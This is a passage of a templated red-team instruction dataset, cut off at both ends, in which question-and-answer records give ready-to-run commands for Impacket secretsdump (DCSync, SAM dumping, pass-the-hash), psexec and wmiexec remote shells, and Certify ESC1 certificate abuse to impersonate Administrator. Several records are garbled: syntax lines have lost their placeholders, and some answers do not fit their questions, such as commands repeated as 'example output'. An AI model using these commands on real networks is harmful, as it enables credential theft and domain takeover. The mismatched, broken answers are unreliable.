users\nsecretsdump.py CORP/admin:Password123@dc.corp.local -just-dc\n\n# Use NTLM hash\nsecretsdump.py CORP/admin@192.168.1.100 -hashes :NTLMHASH\n```\n\nsecretsdump.py extracts credentials from Windows systems remotely via SMB, including SAM, LSA secrets, cached credentials, and domain hashes via DCSync.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-secretsdump", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052666Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052723Z", "updated_at": "2025-12-18T00:11:32.052723Z"} +{"id": "trtp-bb0b94ab2a5a", "instruction": "What security tasks can I accomplish with Impacket?", "output": "Use cases for Impacket:\n\n- Remote credential extraction\n- DCSync attacks\n- Hash harvesting\n- Lateral movement\n\nsecretsdump.py extracts credentials from Windows systems remotely via SMB, including SAM, LSA secrets, cached credentials, and domain hashes via DCSync.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-secretsdump", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052666Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052736Z", "updated_at": "2025-12-18T00:11:32.052736Z"} +{"id": "trtp-83dfa35527c0", "instruction": "How can I get the most out of Impacket?", "output": "Tips for using Impacket:\n\n- Detection: Remote registry access, DCSync events\n- -just-dc for domain only\n- Works with hash authentication\n\nUseful for: Remote credential extraction, DCSync attacks, Hash harvesting", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-secretsdump", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052666Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052751Z", "updated_at": "2025-12-18T00:11:32.052751Z"} +{"id": "trtp-a097fb3a7368", "instruction": "How do red teamers use Impacket?", "output": "Offensive security uses of Impacket:\n\nsecretsdump.py extracts credentials from Windows systems remotely via SMB, including SAM, LSA secrets, cached credentials, and domain hashes via DCSync.\n\nExample:\n```\n# Dump local SAM\nsecretsdump.py CORP/admin:Password123@192.168.1.100\n\n# DCSync specific user\nsecretsdump.py CORP/admin:Password123@dc.corp.local -just-dc-user krbtgt\n\n# DCSync all users\nsecretsdump.py CORP/admin:Password123@dc.corp.local -just-dc\n\n# Use NTLM hash\nsecretsdump.py CORP/admin@192.168.1.100 -hashes :NTLMHASH\n```\n\nCapabilities:\n- Remote credential extraction\n- DCSync attacks\n- Hash harvesting", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-secretsdump", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052666Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052766Z", "updated_at": "2025-12-18T00:11:32.052766Z"} +{"id": "trtp-b3af5d1111e5", "instruction": "How do I incorporate Impacket into my security workflow?", "output": "Workflow for Impacket secretsdump:\n\n1. Understand the context: secretsdump.py extracts credentials from Windows systems remotely via SMB, including SAM, LSA secrets, cached credentials, and domain hashes via DCSync.\n\n2. Apply the tool:\n```\n# Dump local SAM\nsecretsdump.py CORP/admin:Password123@192.168.1.100\n\n# DCSync specific user\nsecretsdump.py CORP/admin:Password123@dc.corp.local -just-dc-user krbtgt\n\n# DCSync all users\nsecretsdump.py CORP/admin:Password123@dc.corp.local -just-dc\n\n# Use NTLM hash\nsecretsdump.py CORP/admin@192.168.1.100 -hashes :NTLMHASH\n```\n\n3. Common scenarios: Remote credential extraction, DCSync attacks, Hash harvesting\n\n4. Best practices:\n - Detection: Remote registry access, DCSync events\n - -just-dc for domain only", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-secretsdump", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052666Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052780Z", "updated_at": "2025-12-18T00:11:32.052780Z"} +{"id": "trtp-2c2856c8d408", "instruction": "What makes Impacket useful for this task?", "output": "Advantages of Impacket:\n\nsecretsdump.py extracts credentials from Windows systems remotely via SMB, including SAM, LSA secrets, cached credentials, and domain hashes via DCSync.\n\nBest suited for:\n- Remote credential extraction\n- DCSync attacks\n- Hash harvesting\n- Lateral movement\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-secretsdump", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052666Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052793Z", "updated_at": "2025-12-18T00:11:32.052793Z"} +{"id": "trtp-89ae3dd5fdab", "instruction": "How do I use Impacket alongside other tools in my toolkit?", "output": "Integration points for Impacket:\n\nsecretsdump.py extracts credentials from Windows systems remotely via SMB, including SAM, LSA secrets, cached credentials, and domain hashes via DCSync.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-secretsdump", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052666Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052808Z", "updated_at": "2025-12-18T00:11:32.052808Z"} +{"id": "trtp-b109c70e4636", "instruction": "How do security analysts use Impacket?", "output": "Impacket psexec\n\npsexec.py provides remote command execution on Windows via SMB. Creates a service on the target and executes commands through named pipes.\n\nPlatform: cross-platform\n\nCommon uses:\n- Remote execution\n- Lateral movement\n- System administration\n- Post-exploitation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052971Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052992Z", "updated_at": "2025-12-18T00:11:32.052992Z"} +{"id": "trtp-78c9be88917a", "instruction": "What command or query syntax does Impacket use?", "output": "Syntax for Impacket:\n\npsexec.py /:@\n\npsexec.py provides remote command execution on Windows via SMB. Creates a service on the target and executes commands through named pipes.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052971Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053005Z", "updated_at": "2025-12-18T00:11:32.053005Z"} +{"id": "trtp-0a615534abab", "instruction": "Show me an example of Impacket in action.", "output": "Example of Impacket psexec:\n\n```\n# Interactive shell\npsexec.py CORP/admin:Password123@192.168.1.100\n\n# Execute specific command\npsexec.py CORP/admin:Password123@192.168.1.100 'whoami /all'\n\n# Use NTLM hash\npsexec.py CORP/admin@192.168.1.100 -hashes :NTLMHASH\n\n# Use Kerberos ticket\nexport KRB5CCNAME=/tmp/ticket.ccache\npsexec.py CORP/admin@target.corp.local -k -no-pass\n```\n\nInterpretation: Returns command output or interactive shell", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052971Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053017Z", "updated_at": "2025-12-18T00:11:32.053017Z"} +{"id": "trtp-8f55f05c3127", "instruction": "Provide an example of using Impacket.", "output": "Here is a practical example of Impacket:\n\n```\n# Interactive shell\npsexec.py CORP/admin:Password123@192.168.1.100\n\n# Execute specific command\npsexec.py CORP/admin:Password123@192.168.1.100 'whoami /all'\n\n# Use NTLM hash\npsexec.py CORP/admin@192.168.1.100 -hashes :NTLMHASH\n\n# Use Kerberos ticket\nexport KRB5CCNAME=/tmp/ticket.ccache\npsexec.py CORP/admin@target.corp.local -k -no-pass\n```\n\npsexec.py provides remote command execution on Windows via SMB. Creates a service on the target and executes commands through named pipes.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052971Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053027Z", "updated_at": "2025-12-18T00:11:32.053027Z"} +{"id": "trtp-658c86481e83", "instruction": "What are the use cases for Impacket?", "output": "Use cases for Impacket:\n\n- Remote execution\n- Lateral movement\n- System administration\n- Post-exploitation\n\npsexec.py provides remote command execution on Windows via SMB. Creates a service on the target and executes commands through named pipes.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052971Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053039Z", "updated_at": "2025-12-18T00:11:32.053039Z"} +{"id": "trtp-a579bf947901", "instruction": "What best practices should I follow when using Impacket?", "output": "Tips for using Impacket:\n\n- Detection: Service installation (7045)\n- Leaves artifacts on target\n- wmiexec.py is more stealthy\n\nUseful for: Remote execution, Lateral movement, System administration", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052971Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053054Z", "updated_at": "2025-12-18T00:11:32.053054Z"} +{"id": "trtp-b203efa004e5", "instruction": "What capabilities does Impacket provide for offensive security?", "output": "Offensive security uses of Impacket:\n\npsexec.py provides remote command execution on Windows via SMB. Creates a service on the target and executes commands through named pipes.\n\nExample:\n```\n# Interactive shell\npsexec.py CORP/admin:Password123@192.168.1.100\n\n# Execute specific command\npsexec.py CORP/admin:Password123@192.168.1.100 'whoami /all'\n\n# Use NTLM hash\npsexec.py CORP/admin@192.168.1.100 -hashes :NTLMHASH\n\n# Use Kerberos ticket\nexport KRB5CCNAME=/tmp/ticket.ccache\npsexec.py CORP/admin@target.corp.local -k -no-pass\n```\n\nCapabilities:\n- Remote execution\n- Lateral movement\n- System administration", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052971Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053068Z", "updated_at": "2025-12-18T00:11:32.053068Z"} +{"id": "trtp-104282702f9f", "instruction": "What's the process for analyzing data with Impacket?", "output": "Workflow for Impacket psexec:\n\n1. Understand the context: psexec.py provides remote command execution on Windows via SMB. Creates a service on the target and executes commands through named pipes.\n\n2. Apply the tool:\n```\n# Interactive shell\npsexec.py CORP/admin:Password123@192.168.1.100\n\n# Execute specific command\npsexec.py CORP/admin:Password123@192.168.1.100 'whoami /all'\n\n# Use NTLM hash\npsexec.py CORP/admin@192.168.1.100 -hashes :NTLMHASH\n\n# Use Kerberos ticket\nexport KRB5CCNAME=/tmp/ticket.ccache\npsexec.py CORP/admin@target.corp.local -k -no-pass\n```\n\n3. Common scenarios: Remote execution, Lateral movement, System administration\n\n4. Best practices:\n - Detection: Service installation (7045)\n - Leaves artifacts on target", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052971Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053083Z", "updated_at": "2025-12-18T00:11:32.053083Z"} +{"id": "trtp-08eaffb1e4ec", "instruction": "What makes Impacket useful for this task?", "output": "Advantages of Impacket:\n\npsexec.py provides remote command execution on Windows via SMB. Creates a service on the target and executes commands through named pipes.\n\nBest suited for:\n- Remote execution\n- Lateral movement\n- System administration\n- Post-exploitation\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052971Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053096Z", "updated_at": "2025-12-18T00:11:32.053096Z"} +{"id": "trtp-ed74cca36a10", "instruction": "How do I use Impacket alongside other tools in my toolkit?", "output": "Integration points for Impacket:\n\npsexec.py provides remote command execution on Windows via SMB. Creates a service on the target and executes commands through named pipes.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052971Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053110Z", "updated_at": "2025-12-18T00:11:32.053110Z"} +{"id": "trtp-49a4a7c3f1bf", "instruction": "Explain Impacket for security professionals.", "output": "Impacket wmiexec\n\nwmiexec.py provides semi-interactive shell via WMI. More stealthy than psexec as it doesn't create a service.\n\nPlatform: cross-platform\n\nCommon uses:\n- Stealthy execution\n- Lateral movement\n- Command execution", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-wmiexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053282Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053302Z", "updated_at": "2025-12-18T00:11:32.053302Z"} +{"id": "trtp-52799e47462c", "instruction": "How do I use Impacket?", "output": "Syntax for Impacket:\n\nwmiexec.py /:@\n\nwmiexec.py provides semi-interactive shell via WMI. More stealthy than psexec as it doesn't create a service.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-wmiexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053282Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053315Z", "updated_at": "2025-12-18T00:11:32.053315Z"} +{"id": "trtp-cfc9f72a1ff9", "instruction": "How would I use Impacket for Stealthy execution?", "output": "Example of Impacket wmiexec:\n\n```\n# Semi-interactive shell\nwmiexec.py CORP/admin:Password123@192.168.1.100\n\n# Execute command\nwmiexec.py CORP/admin:Password123@192.168.1.100 'hostname'\n\n# Output to share\nwmiexec.py CORP/admin:Password123@192.168.1.100 -share ADMIN$ 'dir c:\\'\n```\n\nInterpretation: Semi-interactive - command output returned after execution", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-wmiexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053282Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053327Z", "updated_at": "2025-12-18T00:11:32.053327Z"} +{"id": "trtp-b0d268f0e79c", "instruction": "Show me an example of Impacket in action.", "output": "Here is a practical example of Impacket:\n\n```\n# Semi-interactive shell\nwmiexec.py CORP/admin:Password123@192.168.1.100\n\n# Execute command\nwmiexec.py CORP/admin:Password123@192.168.1.100 'hostname'\n\n# Output to share\nwmiexec.py CORP/admin:Password123@192.168.1.100 -share ADMIN$ 'dir c:\\'\n```\n\nwmiexec.py provides semi-interactive shell via WMI. More stealthy than psexec as it doesn't create a service.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-wmiexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053282Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053338Z", "updated_at": "2025-12-18T00:11:32.053338Z"} +{"id": "trtp-bef091d1e7a6", "instruction": "In what scenarios is Impacket useful?", "output": "Use cases for Impacket:\n\n- Stealthy execution\n- Lateral movement\n- Command execution\n\nwmiexec.py provides semi-interactive shell via WMI. More stealthy than psexec as it doesn't create a service.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-wmiexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053282Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053349Z", "updated_at": "2025-12-18T00:11:32.053349Z"} +{"id": "trtp-85efb7863c5a", "instruction": "What do the results from Impacket mean?", "output": "Interpreting Impacket output:\n\nSemi-interactive - command output returned after execution\n\nExample output:\n```\n# Semi-interactive shell\nwmiexec.py CORP/admin:Password123@192.168.1.100\n\n# Execute command\nwmiexec.py CORP/admin:Password123@192.168.1.100 'hostname'\n\n# Output to share\nwmiexec.py CORP/admin:Password123@192.168.1.100 -share ADMIN$ 'dir c:\\'\n```", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-wmiexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053282Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053360Z", "updated_at": "2025-12-18T00:11:32.053360Z"} +{"id": "trtp-8be540973fd3", "instruction": "What are some tips for using Impacket?", "output": "Tips for using Impacket:\n\n- Detection: WMI process creation (4688)\n- No service created\n- Output via SMB share\n\nUseful for: Stealthy execution, Lateral movement, Command execution", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-wmiexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053282Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053372Z", "updated_at": "2025-12-18T00:11:32.053372Z"} +{"id": "trtp-70b99df51d15", "instruction": "What attack techniques can be performed with Impacket?", "output": "Offensive security uses of Impacket:\n\nwmiexec.py provides semi-interactive shell via WMI. More stealthy than psexec as it doesn't create a service.\n\nExample:\n```\n# Semi-interactive shell\nwmiexec.py CORP/admin:Password123@192.168.1.100\n\n# Execute command\nwmiexec.py CORP/admin:Password123@192.168.1.100 'hostname'\n\n# Output to share\nwmiexec.py CORP/admin:Password123@192.168.1.100 -share ADMIN$ 'dir c:\\'\n```\n\nCapabilities:\n- Stealthy execution\n- Lateral movement\n- Command execution", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-wmiexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053282Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053386Z", "updated_at": "2025-12-18T00:11:32.053386Z"} +{"id": "trtp-a7c51b64bf9f", "instruction": "How do I incorporate Impacket into my security workflow?", "output": "Workflow for Impacket wmiexec:\n\n1. Understand the context: wmiexec.py provides semi-interactive shell via WMI. More stealthy than psexec as it doesn't create a service.\n\n2. Apply the tool:\n```\n# Semi-interactive shell\nwmiexec.py CORP/admin:Password123@192.168.1.100\n\n# Execute command\nwmiexec.py CORP/admin:Password123@192.168.1.100 'hostname'\n\n# Output to share\nwmiexec.py CORP/admin:Password123@192.168.1.100 -share ADMIN$ 'dir c:\\'\n```\n\n3. Common scenarios: Stealthy execution, Lateral movement, Command execution\n\n4. Best practices:\n - Detection: WMI process creation (4688)\n - No service created", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-wmiexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053282Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053400Z", "updated_at": "2025-12-18T00:11:32.053400Z"} +{"id": "trtp-a193cf27a771", "instruction": "What makes Impacket useful for this task?", "output": "Advantages of Impacket:\n\nwmiexec.py provides semi-interactive shell via WMI. More stealthy than psexec as it doesn't create a service.\n\nBest suited for:\n- Stealthy execution\n- Lateral movement\n- Command execution\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-wmiexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053282Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053414Z", "updated_at": "2025-12-18T00:11:32.053414Z"} +{"id": "trtp-81f2e2827b4c", "instruction": "How does Impacket integrate with other security tools?", "output": "Integration points for Impacket:\n\nwmiexec.py provides semi-interactive shell via WMI. More stealthy than psexec as it doesn't create a service.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-wmiexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053282Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053427Z", "updated_at": "2025-12-18T00:11:32.053427Z"} +{"id": "trtp-f00449ce2255", "instruction": "Describe Certify Certificate Attacks.", "output": "Certify Certificate Attacks\n\nCertify enumerates AD Certificate Services misconfigurations and abuses them for privilege escalation. Finds vulnerable certificate templates that allow domain takeover.\n\nPlatform: windows\n\nCommon uses:\n- AD CS enumeration\n- Certificate-based attacks\n- Privilege escalation\n- Domain persistence", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-certify-certificate-attacks", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053616Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053638Z", "updated_at": "2025-12-18T00:11:32.053638Z"} +{"id": "trtp-70809d9cd2c0", "instruction": "What is the syntax for Certify?", "output": "Syntax for Certify:\n\nCertify.exe \n\nCertify enumerates AD Certificate Services misconfigurations and abuses them for privilege escalation. Finds vulnerable certificate templates that allow domain takeover.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-certify-certificate-attacks", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053616Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053652Z", "updated_at": "2025-12-18T00:11:32.053652Z"} +{"id": "trtp-820e85461982", "instruction": "Demonstrate Certify Certificate Attacks with an example.", "output": "Example of Certify Certificate Attacks:\n\n```\n# Find vulnerable templates\nCertify.exe find /vulnerable\n\n# Request certificate with SAN (ESC1)\nCertify.exe request /ca:dc.corp.local\\CA /template:VulnTemplate /altname:Administrator\n\n# ESC vulnerabilities:\n# ESC1 - Template allows SAN specification\n# ESC2 - Template allows any purpose\n# ESC3 - Enrollment agent abuse\n# ESC4 - Vulnerable template ACLs\n# ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2\n```\n\nInterpretation: Lists vulnerable templates with exploitation requirements", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-certify-certificate-attacks", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053616Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053664Z", "updated_at": "2025-12-18T00:11:32.053664Z"} +{"id": "trtp-e12d716a9219", "instruction": "Give me a practical example of Certify.", "output": "Here is a practical example of Certify:\n\n```\n# Find vulnerable templates\nCertify.exe find /vulnerable\n\n# Request certificate with SAN (ESC1)\nCertify.exe request /ca:dc.corp.local\\CA /template:VulnTemplate /altname:Administrator\n\n# ESC vulnerabilities:\n# ESC1 - Template allows SAN specification\n# ESC2 - Template allows any purpose\n# ESC3 - Enrollment agent abuse\n# ESC4 - Vulnerable template ACLs\n# ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2\n```\n\nCertify enumerates AD Certificate Services misconfigurations and abuses them for privilege escalation. Finds vulnerable certificate templates that allow domain takeover.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-certify-certificate-attacks", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053616Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053674Z", "updated_at": "2025-12-18T00:11:32.053674Z"} +{"id": "trtp-2c3a5b8e8f93", "instruction": "In what scenarios is Certify useful?", "output": "Use cases for Certify:\n\n- AD CS enumeration\n- Certificate-based attacks\n- Privilege escalation\n- Domain persistence\n\nCertify enumerates AD Certificate Services misconfigurations and abuses them for privilege escalation. Finds vulnerable certificate templates that allow domain takeover.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-certify-certificate-attacks", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053616Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053686Z", "updated_at": "2025-12-18T00:11:32.053686Z"} +{"id": "trtp-3aa61c0f14db", "instruction": "What best practices should I follow when using Certify?", "output": "Tips for using Certify:\n\n- Detection: 4886/4887 certificate events\n- Certipy is Python alternative\n- Patches available for many ESCs\n\nUseful for: AD CS enumeration, Certificate-based attacks, Privilege escalation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-certify-certificate-attacks", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053616Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053701Z", "updated_at": "2025-12-18T00:11:32.053701Z"} +{"id": "trtp-91ac83a5991a", "instruction": "How do red teamers use Certify?", "output": "Offensive security uses of Certify:\n\nCertify enumerates AD Certificate Services misconfigurations and abuses them for privilege escalation. Finds vulnerable certificate templates that allow domain takeover.\n\nExample:\n```\n# Find vulnerable templates\nCertify.exe find /vulnerable\n\n# Request certificate with SAN (ESC1)\nCertify.exe request /ca:dc.corp.local\\CA /template:VulnTemplate /altname:Administrator\n\n# ESC vulnerabilities:\n# ESC1 - Template allows SAN specification\n# ESC2 - Template allows any purpose\n# ESC3 - Enrollment agent abuse\n# ESC4 - Vulnerable template ACLs\n# ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2\n```\n\nCapabilities:\n- AD CS enumeration\n- Certificate-based attacks\n- Privilege escalation", "category": "attack_techniques", "team": "red", 